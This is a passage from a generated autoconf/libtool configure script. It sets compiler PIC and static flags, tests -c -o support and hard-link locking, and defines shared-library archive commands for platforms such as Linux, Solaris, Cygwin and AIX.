pgf90* | pgf95*) # Portland Group compilers (*not* the Pentium gcc compiler, # which looks to be a dead project) lt_prog_compiler_wl='-Wl,' lt_prog_compiler_pic='-fpic' lt_prog_compiler_static='-Bstatic' ;; ccc*) lt_prog_compiler_wl='-Wl,' # All Alpha code is PIC. lt_prog_compiler_static='-non_shared' ;; xl*) # IBM XL C 8.0/Fortran 10.1 on PPC lt_prog_compiler_wl='-Wl,' lt_prog_compiler_pic='-qpic' lt_prog_compiler_static='-qstaticlink' ;; *) case `$CC -V 2>&1 | sed 5q` in *Sun\ C*) # Sun C 5.9 lt_prog_compiler_pic='-KPIC' lt_prog_compiler_static='-Bstatic' lt_prog_compiler_wl='-Wl,' ;; *Sun\ F*) # Sun Fortran 8.3 passes all unrecognized flags to the linker lt_prog_compiler_pic='-KPIC' lt_prog_compiler_static='-Bstatic' lt_prog_compiler_wl='' ;; esac ;; esac ;; newsos6) lt_prog_compiler_pic='-KPIC' lt_prog_compiler_static='-Bstatic' ;; *nto* | *qnx*) # QNX uses GNU C++, but need to define -shared option too, otherwise # it will coredump. lt_prog_compiler_pic='-fPIC -shared' ;; osf3* | osf4* | osf5*) lt_prog_compiler_wl='-Wl,' # All OSF/1 code is PIC. lt_prog_compiler_static='-non_shared' ;; rdos*) lt_prog_compiler_static='-non_shared' ;; solaris*) lt_prog_compiler_pic='-KPIC' lt_prog_compiler_static='-Bstatic' case $cc_basename in f77* | f90* | f95*) lt_prog_compiler_wl='-Qoption ld ';; *) lt_prog_compiler_wl='-Wl,';; esac ;; sunos4*) lt_prog_compiler_wl='-Qoption ld ' lt_prog_compiler_pic='-PIC' lt_prog_compiler_static='-Bstatic' ;; sysv4 | sysv4.2uw2* | sysv4.3*) lt_prog_compiler_wl='-Wl,' lt_prog_compiler_pic='-KPIC' lt_prog_compiler_static='-Bstatic' ;; sysv4*MP*) if test -d /usr/nec ;then lt_prog_compiler_pic='-Kconform_pic' lt_prog_compiler_static='-Bstatic' fi ;; sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*) lt_prog_compiler_wl='-Wl,' lt_prog_compiler_pic='-KPIC' lt_prog_compiler_static='-Bstatic' ;; unicos*) lt_prog_compiler_wl='-Wl,' lt_prog_compiler_can_build_shared=no ;; uts4*) lt_prog_compiler_pic='-pic' lt_prog_compiler_static='-Bstatic' ;; *) lt_prog_compiler_can_build_shared=no ;; esac fi case $host_os in # For platforms which do not support PIC, -DPIC is meaningless: *djgpp*) lt_prog_compiler_pic= ;; *) lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC" ;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5 $as_echo "$lt_prog_compiler_pic" >&6; } # # Check to make sure the PIC flag actually works. # if test -n "$lt_prog_compiler_pic"; then { $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic works" >&5 $as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic works... " >&6; } if test "${lt_cv_prog_compiler_pic_works+set}" = set; then : $as_echo_n "(cached) " >&6 else lt_cv_prog_compiler_pic_works=no ac_outfile=conftest.$ac_objext echo "$lt_simple_compile_test_code" > conftest.$ac_ext lt_compiler_flag="$lt_prog_compiler_pic -DPIC" # Insert the option either (1) after the last *FLAGS variable, or # (2) before a word containing "conftest.", or (3) at the end. # Note that $ac_compile itself does not contain backslashes and begins # with a dollar sign (not a hyphen), so the echo should work correctly. # The option is referenced via a variable to avoid confusing sed. lt_compile=`echo "$ac_compile" | $SED \ -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ -e 's:$: $lt_compiler_flag:'` (eval echo "\"\$as_me:8130: $lt_compile\"" >&5) (eval "$lt_compile" 2>conftest.err) ac_status=$? cat conftest.err >&5 echo "$as_me:8134: \$? = $ac_status" >&5 if (exit $ac_status) && test -s "$ac_outfile"; then # The compiler can only warn and ignore the option if not recognized # So say no if there are warnings other than the usual output. $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then lt_cv_prog_compiler_pic_works=yes fi fi $RM conftest* fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic_works" >&5 $as_echo "$lt_cv_prog_compiler_pic_works" >&6; } if test x"$lt_cv_prog_compiler_pic_works" = xyes; then case $lt_prog_compiler_pic in "" | " "*) ;; *) lt_prog_compiler_pic=" $lt_prog_compiler_pic" ;; esac else lt_prog_compiler_pic= lt_prog_compiler_can_build_shared=no fi fi # # Check to make sure the static flag actually works. # wl=$lt_prog_compiler_wl eval lt_tmp_static_flag=\"$lt_prog_compiler_static\" { $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5 $as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; } if test "${lt_cv_prog_compiler_static_works+set}" = set; then : $as_echo_n "(cached) " >&6 else lt_cv_prog_compiler_static_works=no save_LDFLAGS="$LDFLAGS" LDFLAGS="$LDFLAGS $lt_tmp_static_flag" echo "$lt_simple_link_test_code" > conftest.$ac_ext if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then # The linker can only warn and ignore the option if not recognized # So say no if there are warnings if test -s conftest.err; then # Append any errors to the config.log. cat conftest.err 1>&5 $ECHO "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 if diff conftest.exp conftest.er2 >/dev/null; then lt_cv_prog_compiler_static_works=yes fi else lt_cv_prog_compiler_static_works=yes fi fi $RM -r conftest* LDFLAGS="$save_LDFLAGS" fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_static_works" >&5 $as_echo "$lt_cv_prog_compiler_static_works" >&6; } if test x"$lt_cv_prog_compiler_static_works" = xyes; then : else lt_prog_compiler_static= fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5 $as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; } if test "${lt_cv_prog_compiler_c_o+set}" = set; then : $as_echo_n "(cached) " >&6 else lt_cv_prog_compiler_c_o=no $RM -r conftest 2>/dev/null mkdir conftest cd conftest mkdir out echo "$lt_simple_compile_test_code" > conftest.$ac_ext lt_compiler_flag="-o out/conftest2.$ac_objext" # Insert the option either (1) after the last *FLAGS variable, or # (2) before a word containing "conftest.", or (3) at the end. # Note that $ac_compile itself does not contain backslashes and begins # with a dollar sign (not a hyphen), so the echo should work correctly. lt_compile=`echo "$ac_compile" | $SED \ -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ -e 's:$: $lt_compiler_flag:'` (eval echo "\"\$as_me:8235: $lt_compile\"" >&5) (eval "$lt_compile" 2>out/conftest.err) ac_status=$? cat out/conftest.err >&5 echo "$as_me:8239: \$? = $ac_status" >&5 if (exit $ac_status) && test -s out/conftest2.$ac_objext then # The compiler can only warn and ignore the option if not recognized # So say no if there are warnings $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2 if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then lt_cv_prog_compiler_c_o=yes fi fi chmod u+w . 2>&5 $RM conftest* # SGI C++ compiler will create directory out/ii_files/ for # template instantiation test -d out/ii_files && $RM out/ii_files/* && rmdir out/ii_files $RM out/* && rmdir out cd .. $RM -r conftest $RM conftest* fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o" >&5 $as_echo "$lt_cv_prog_compiler_c_o" >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5 $as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; } if test "${lt_cv_prog_compiler_c_o+set}" = set; then : $as_echo_n "(cached) " >&6 else lt_cv_prog_compiler_c_o=no $RM -r conftest 2>/dev/null mkdir conftest cd conftest mkdir out echo "$lt_simple_compile_test_code" > conftest.$ac_ext lt_compiler_flag="-o out/conftest2.$ac_objext" # Insert the option either (1) after the last *FLAGS variable, or # (2) before a word containing "conftest.", or (3) at the end. # Note that $ac_compile itself does not contain backslashes and begins # with a dollar sign (not a hyphen), so the echo should work correctly. lt_compile=`echo "$ac_compile" | $SED \ -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ -e 's:$: $lt_compiler_flag:'` (eval echo "\"\$as_me:8290: $lt_compile\"" >&5) (eval "$lt_compile" 2>out/conftest.err) ac_status=$? cat out/conftest.err >&5 echo "$as_me:8294: \$? = $ac_status" >&5 if (exit $ac_status) && test -s out/conftest2.$ac_objext then # The compiler can only warn and ignore the option if not recognized # So say no if there are warnings $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2 if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then lt_cv_prog_compiler_c_o=yes fi fi chmod u+w . 2>&5 $RM conftest* # SGI C++ compiler will create directory out/ii_files/ for # template instantiation test -d out/ii_files && $RM out/ii_files/* && rmdir out/ii_files $RM out/* && rmdir out cd .. $RM -r conftest $RM conftest* fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o" >&5 $as_echo "$lt_cv_prog_compiler_c_o" >&6; } hard_links="nottested" if test "$lt_cv_prog_compiler_c_o" = no && test "$need_locks" != no; then # do not overwrite the value of need_locks provided by the user { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5 $as_echo_n "checking if we can lock with hard links... " >&6; } hard_links=yes $RM conftest* ln conftest.a conftest.b 2>/dev/null && hard_links=no touch conftest.a ln conftest.a conftest.b 2>&5 || hard_links=no ln conftest.a conftest.b 2>/dev/null && hard_links=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5 $as_echo "$hard_links" >&6; } if test "$hard_links" = no; then { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5 $as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;} need_locks=warn fi else need_locks=no fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5 $as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; } runpath_var= allow_undefined_flag= always_export_symbols=no archive_cmds= archive_expsym_cmds= compiler_needs_object=no enable_shared_with_static_runtimes=no export_dynamic_flag_spec= export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' hardcode_automatic=no hardcode_direct=no hardcode_direct_absolute=no hardcode_libdir_flag_spec= hardcode_libdir_flag_spec_ld= hardcode_libdir_separator= hardcode_minus_L=no hardcode_shlibpath_var=unsupported inherit_rpath=no link_all_deplibs=unknown module_cmds= module_expsym_cmds= old_archive_from_new_cmds= old_archive_from_expsyms_cmds= thread_safe_flag_spec= whole_archive_flag_spec= # include_expsyms should be a list of space-separated symbols to be *always* # included in the symbol list include_expsyms= # exclude_expsyms can be an extended regexp of symbols to exclude # it will be wrapped by ` (' and `)$', so one must not match beginning or # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc', # as well as any symbol that contains `d'. exclude_expsyms='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*' # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out # platforms (ab)use it in PIC code, but their linkers get confused if # the symbol is explicitly referenced. Since portable code cannot # rely on this symbol name, it's probably fine to never include it in # preloaded symbol tables. # Exclude shared library initialization/finalization symbols. extract_expsyms_cmds= case $host_os in cygwin* | mingw* | pw32* | cegcc*) # FIXME: the MSVC++ port hasn't been tested in a loooong time # When not using gcc, we currently assume that we are using # Microsoft Visual C++. if test "$GCC" != yes; then with_gnu_ld=no fi ;; interix*) # we just hope/assume this is gcc and not c89 (= MSVC++) with_gnu_ld=yes ;; openbsd*) with_gnu_ld=no ;; esac ld_shlibs=yes if test "$with_gnu_ld" = yes; then # If archive_cmds runs LD, not CC, wlarc should be empty wlarc='${wl}' # Set some defaults for GNU ld with shared library support. These # are reset later if shared libraries are not supported. Putting them # here allows them to be overridden if necessary. runpath_var=LD_RUN_PATH hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' export_dynamic_flag_spec='${wl}--export-dynamic' # ancient GNU ld didn't support --whole-archive et. al. if $LD --help 2>&1 | $GREP 'no-whole-archive' > /dev/null; then whole_archive_flag_spec="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' else whole_archive_flag_spec= fi supports_anon_versioning=no case `$LD -v 2>&1` in *\ [01].* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11 *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... *\ 2.11.*) ;; # other 2.11 versions *) supports_anon_versioning=yes ;; esac # See if GNU ld supports shared libraries. case $host_os in aix[3-9]*) # On AIX/PPC, the GNU linker is very broken if test "$host_cpu" != ia64; then ld_shlibs=no cat <<_LT_EOF 1>&2 *** Warning: the GNU linker, at least up to release 2.9.1, is reported *** to be unable to reliably create shared libraries on AIX. *** Therefore, libtool is disabling shared libraries support. If you *** really care for shared libraries, you may want to modify your PATH *** so that a non-GNU linker is found, and then restart. _LT_EOF fi ;; amigaos*) case $host_cpu in powerpc) # see comment about AmigaOS4 .so support archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' archive_expsym_cmds='' ;; m68k) archive_cmds='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' hardcode_libdir_flag_spec='-L$libdir' hardcode_minus_L=yes ;; esac ;; beos*) if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then allow_undefined_flag=unsupported # Joseph Beckenbach says some releases of gcc # support --undefined. This deserves some investigation. FIXME archive_cmds='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' else ld_shlibs=no fi ;; cygwin* | mingw* | pw32* | cegcc*) # _LT_TAGVAR(hardcode_libdir_flag_spec, ) is actually meaningless, # as there is no search path for DLLs. hardcode_libdir_flag_spec='-L$libdir' allow_undefined_flag=unsupported always_export_symbols=no enable_shared_with_static_runtimes=yes export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols' if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' # If the export-symbols file already is a .def file (1st line # is EXPORTS), use it as is; otherwise, prepend... archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then cp $export_symbols $output_objdir/$soname.def; else echo EXPORTS > $output_objdir/$soname.def; cat $export_symbols >> $output_objdir/$soname.def; fi~ $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' else ld_shlibs=no fi ;; interix[3-9]*) hardcode_direct=no hardcode_shlibpath_var=no hardcode_libdir_flag_spec='${wl}-rpath,$libdir' export_dynamic_flag_spec='${wl}-E' # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc. # Instead, shared libraries are loaded at an image base (0x10000000 by # default) and relocated if they conflict, which is a slow very memory # consuming and fragmenting process. To avoid this, we pick a random, # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link # time. Moving up from 0x10000000 also allows more sbrk(2) space. archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' archive_expsym_cmds='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' ;; gnu* | linux* | tpf* | k*bsd*-gnu) tmp_diet=no if test "$host_os" = linux-dietlibc; then case $cc_basename in diet\ *) tmp_diet=yes;; # linux-dietlibc with static linking (!diet-dyn) esac fi if $LD --help 2>&1 | $EGREP ': supported targets:.* elf' > /dev/null \ && test "$tmp_diet" = no then tmp_addflag= tmp_sharedflag='-shared' case $cc_basename,$host_cpu in pgcc*) # Portland Group C compiler whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive' tmp_addflag=' $pic_flag' ;; pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive' tmp_addflag=' $pic_flag -Mnomain' ;; ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64 tmp_addflag=' -i_dynamic' ;; efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64 tmp_addflag=' -i_dynamic -nofor_main' ;; ifc* | ifort*) # Intel Fortran compiler tmp_addflag=' -nofor_main' ;; lf95*) # Lahey Fortran 8.1 whole_archive_flag_spec= tmp_sharedflag='--shared' ;; xl[cC]*) # IBM XL C 8.0 on PPC (deal with xlf below) tmp_sharedflag='-qmkshrobj' tmp_addflag= ;; esac case `$CC -V 2>&1 | sed 5q` in *Sun\ C*) # Sun C 5.9 whole_archive_flag_spec='${wl}--whole-archive`new_convenience=; for conv in $convenience\"\"; do test -z \"$conv\" || new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive' compiler_needs_object=yes tmp_sharedflag='-G' ;; *Sun\ F*) # Sun Fortran 8.3 tmp_sharedflag='-G' ;; esac archive_cmds='$CC '"$tmp_sharedflag""$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' if test "x$supports_anon_versioning" = xyes; then archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ echo "local: *; };" >> $output_objdir/$libname.ver~ $CC '"$tmp_sharedflag""$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' fi case $cc_basename in xlf*) # IBM XL Fortran 10.1 on PPC cannot create shared libs itself whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive' hardcode_libdir_flag_spec= hardcode_libdir_flag_spec_ld='-rpath $libdir' archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib' if test "x$supports_anon_versioning" = xyes; then archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ echo "local: *; };" >> $output_objdir/$libname.ver~ $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib' fi ;; esac else ld_shlibs=no fi ;; netbsd*) if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' wlarc= else archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' fi ;; solaris*) if $LD -v 2>&1 | $GREP 'BFD 2\.8' > /dev/null; then ld_shlibs=no cat <<_LT_EOF 1>&2 *** Warning: The releases 2.8.* of the GNU linker cannot reliably *** create shared libraries on Solaris systems. Therefore, libtool *** is disabling shared libraries support. We urge you to upgrade GNU *** binutils to release 2.9.1 or newer. Another option is to modify *** your PATH or compiler configuration so that the native linker is *** used, and then restart. _LT_EOF elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' else ld_shlibs=no fi ;; sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*) case `$LD -v 2>&1` in *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*) ld_shlibs=no cat <<_LT_EOF 1>&2 *** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not *** reliably create shared libraries on SCO systems. Therefore, libtool *** is disabling shared libraries support. We urge you to upgrade GNU *** binutils to release 2.16.91.0.3 or newer. Another option is to modify *** your PATH or compiler configuration so that the native linker is *** used, and then restart. _LT_EOF ;; *) # For security reasons, it is highly recommended that you always # use absolute paths for naming shared libraries, and exclude the # DT_RUNPATH tag from executables and libraries. But doing so # requires that you compile everything twice, which is a pain. if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' else ld_shlibs=no fi ;; esac ;; sunos4*) archive_cmds='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' wlarc= hardcode_direct=yes hardcode_shlibpath_var=no ;; *) if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' else ld_shlibs=no fi ;; esac if test "$ld_shlibs" = no; then runpath_var= hardcode_libdir_flag_spec= export_dynamic_flag_spec= whole_archive_flag_spec= fi else # PORTME fill in a description of your system's linker (not GNU ld) case $host_os in aix3*) allow_undefined_flag=unsupported always_export_symbols=yes archive_expsym_cmds='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' # Note: this linker hardcodes the directories in LIBPATH if there # are no directories specified by -L. hardcode_minus_L=yes if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then # Neither direct hardcoding nor static linking is supported with a # broken collect2. hardcode_direct=unsupported fi ;; aix[4-9]*) if test "$host_cpu" = ia64; then # On IA64, the linker does run time linking by default, so we don't # have to do anything special. aix_use_runtimelinking=no exp_sym_flag='-Bexport' no_entry_flag="" else # If we're using GNU nm, then we don't want the "-C" option. # -C means demangle to AIX nm, but means don't demangle with GNU nm if $NM -V 2>&1 | $GREP 'GNU' > /dev/null; then export_symbols_cmds='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && (substr(\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols' else export_symbols_cmds='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && (substr(\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols' fi aix_use_runtimelinking=no # Test if we are trying to use run time linking or normal # AIX style linking. If -brtl is somewhere in LDFLAGS, we # need to do runtime linking. case $host_os in aix4.[23]|aix4.[23].*|aix[5-9]*) for ld_flag in $LDFLAGS; do if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then aix_use_runtimelinking=yes break fi done ;; esac exp_sym_flag='-bexport' no_entry_flag='-bnoentry' fi # When large executables or shared objects are built, AIX ld can # have problems creating the table of contents. If linking a library # or program results in "error TOC overflow" add -mminimal-toc to # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. archive_cmds='' hardcode_direct=yes hardcode_direct_absolute=yes hardcode_libdir_separator=':' link_all_deplibs=yes file_list_spec='${wl}-f,' if test "$GCC" = yes; then case $host_os in aix4.[012]|aix4.[012].*) # We only want to do this on AIX 4.2 and lower, the check # below for broken collect2 doesn't work under 4.3+ collect2name=`${CC} -print-prog-name=collect2` if test -f "$collect2name" && strings "$collect2name" | $GREP resolve_lib_name >/dev/null then # We have reworked collect2 : else # We have old collect2 hardcode_direct=unsupported # It fails to find uninstalled libraries when the uninstalled # path is not listed in the libpath. Setting hardcode_minus_L # to unsupported forces relinking hardcode_minus_L=yes hardcode_libdir_flag_spec='-L$libdir' hardcode_libdir_separator= fi ;; esac shared_flag='-shared' if test "$aix_use_runtimelinking" = yes; then shared_flag="$shared_flag "'${wl}-G' fi else # not using gcc if test "$host_cpu" = ia64; then # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release # chokes on -Wl,-G. The following line is correct: shared_flag='-G' else if test "$aix_use_runtimelinking" = yes; then shared_flag='${wl}-G' else shared_flag='${wl}-bM:SRE' fi fi fi export_dynamic_flag_spec='${wl}-bexpall' # It seems that -bexpall does not export symbols beginning with # underscore (_), so it is better to generate a list of symbols to export. always_export_symbols=yes if test "$aix_use_runtimelinking" = yes; then # Warning - without using the other runtime loading flags (-brtl), # -berok will link without error, but may produce a broken library. allow_undefined_flag='-berok' # Determine the default libpath from the value encoded in an # empty executable. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : lt_aix_libpath_sed=' /Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/ p } }' aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` # Check for a 64-bit object if we didn't find anything. if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` fi fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath" archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then $ECHO "X${wl}${allow_undefined_flag}" | $Xsed; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag" else if test "$host_cpu" = ia64; then hardcode_libdir_flag_spec='${wl}-R $libdir:/usr/lib:/lib' allow_undefined_flag="-z nodefs" archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols" else # Determine the default libpath from the value encoded in an # empty executable. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : lt_aix_libpath_sed=' /Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/ p } }' aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` # Check for a 64-bit object if we didn't find anything. if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` fi fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath" # Warning - without using the other run time loading flags, # -berok will link without error, but may produce a broken library. no_undefined_flag=' ${wl}-bernotok' allow_undefined_flag=' ${wl}-berok' # Exported symbols can be pulled into shared objects from archives whole_archive_flag_spec='$convenience' archive_cmds_need_lc=yes # This is similar to how AIX traditionally builds its shared libraries. archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags 